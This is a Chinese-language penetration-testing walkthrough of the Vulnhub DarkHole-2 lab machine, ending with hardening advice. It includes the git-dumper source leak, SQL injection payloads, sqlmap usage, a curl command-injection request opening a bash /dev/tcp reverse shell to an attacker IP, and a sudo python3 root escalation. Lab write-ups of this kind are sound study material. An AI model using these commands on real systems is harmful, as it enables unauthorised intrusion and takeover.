DarkHole-2 靶机渗透:从 Git 泄露到 Python Sudo 提权的 5 步完整复现 DarkHole-2 靶机渗透实战从 Git 泄露到 Python Sudo 提权的深度解析1. 靶机环境与渗透测试概述DarkHole-2 是 Vulnhub 平台上的一款中等难度渗透测试靶机专为网络安全学习者和渗透测试初学者设计。这个靶机模拟了一个存在多个安全漏洞的 Web 应用环境涵盖了从信息收集到权限提升的完整渗透流程。核心渗透路径.git目录泄露导致源码暴露基于源码分析的凭证获取SQL 注入漏洞利用内网服务端口转发与利用Python Sudo 权限提升2. 信息收集与初始访问2.1 网络扫描与端口探测使用 Nmap 进行基础扫描是渗透测试的第一步它能帮助我们快速识别目标系统开放的服务和潜在攻击面nmap -sV -p- 192.168.56.105典型扫描结果PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.292.2 Web 目录枚举与 Git 泄露通过目录扫描工具发现.git目录是本次渗透的关键突破口。使用git-dumper工具可以完整下载 Git 仓库pip install git-dumper git-dumper http://192.168.56.105/.git/ darkhole_srcGit 历史分析技巧查看提交记录git log分析代码变更git diff commit_hash恢复删除内容git checkout file_path提示Git 泄露常导致敏感信息暴露如数据库凭证、API 密钥等应作为渗透测试的重点检查项。3. SQL 注入漏洞深度利用3.1 手动注入技术解析通过分析获取的源码发现id参数存在字符型单引号闭合的 SQL 注入。以下是完整的注入流程注入点验证?id1 and 11 -- 页面正常 ?id1 and 12 -- 页面异常列数判断?id1 order by 6-- - -- 正常 ?id1 order by 7-- - -- 报错联合查询利用?id-1 union select 1,database(),3,4,5,6-- -3.2 自动化工具与手动注入对比方法优点缺点手动注入精准控制绕过WAF耗时技术要求高sqlmap自动化功能全面特征明显易被拦截sqlmap 基本用法sqlmap -u http://192.168.56.105/dashboard.php?id1 --cookiePHPSESSIDxxx -D darkhole_2 --dump4. 内网横向移动技术4.1 SSH 凭证利用从 SQL 注入获取的 SSH 凭证jehad/fool可用于建立初始立足点ssh jehad192.168.56.105基础权限检查命令id # 查看当前用户权限 sudo -l # 检查sudo权限 find / -perm -us -type f 2/dev/null # 查找SUID文件4.2 端口转发与本地服务利用发现靶机内部运行的 9999 端口服务是关键突破口。通过 SSH 本地端口转发实现访问ssh -L 9999:localhost:9999 jehad192.168.56.105Web 命令执行漏洞利用curl http://localhost:9999/?cmdwhoami # 确认命令执行 curl http://localhost:9999/?cmdbash -c bash -i /dev/tcp/192.168.56.101/4444 01 # 反弹shell5. 权限提升与 root 获取5.1 历史记录分析通过检查用户历史记录发现关键线索cat /home/losy/.bash_history5.2 Python Sudo 提权技术发现 losy 用户具有无需密码执行 Python 的特权这是典型的权限配置错误sudo -l # 显示(root) NOPASSWD: /usr/bin/python3提权利用代码sudo python3 -c import os; os.setuid(0); os.system(/bin/sh)原理分析os.setuid(0)将进程用户ID设置为rootos.system()以root权限执行系统命令整个过程利用了错误的sudo配置绕过密码验证6. 防御建议与安全加固6.1 Git 泄露防护生产环境禁用.git目录访问使用git-secrets扫描敏感信息部署前清理提交历史6.2 SQL 注入防护// 不安全方式 $query SELECT * FROM users WHERE id $_GET[id]; // 安全方式使用预处理 $stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$_GET[id]]);6.3 权限配置最佳实践遵循最小权限原则定期审计sudoers文件避免直接授权解释器执行权限7. 渗透测试方法论总结DarkHole-2 靶机展示了从外网渗透到内网横向移动最终获取系统最高权限的完整过程。在实际渗透测试中这种系统性的思维方式比单个漏洞利用更为重要。每个环节获取的信息都应被充分记录和分析因为它们可能成为后续攻击的跳板。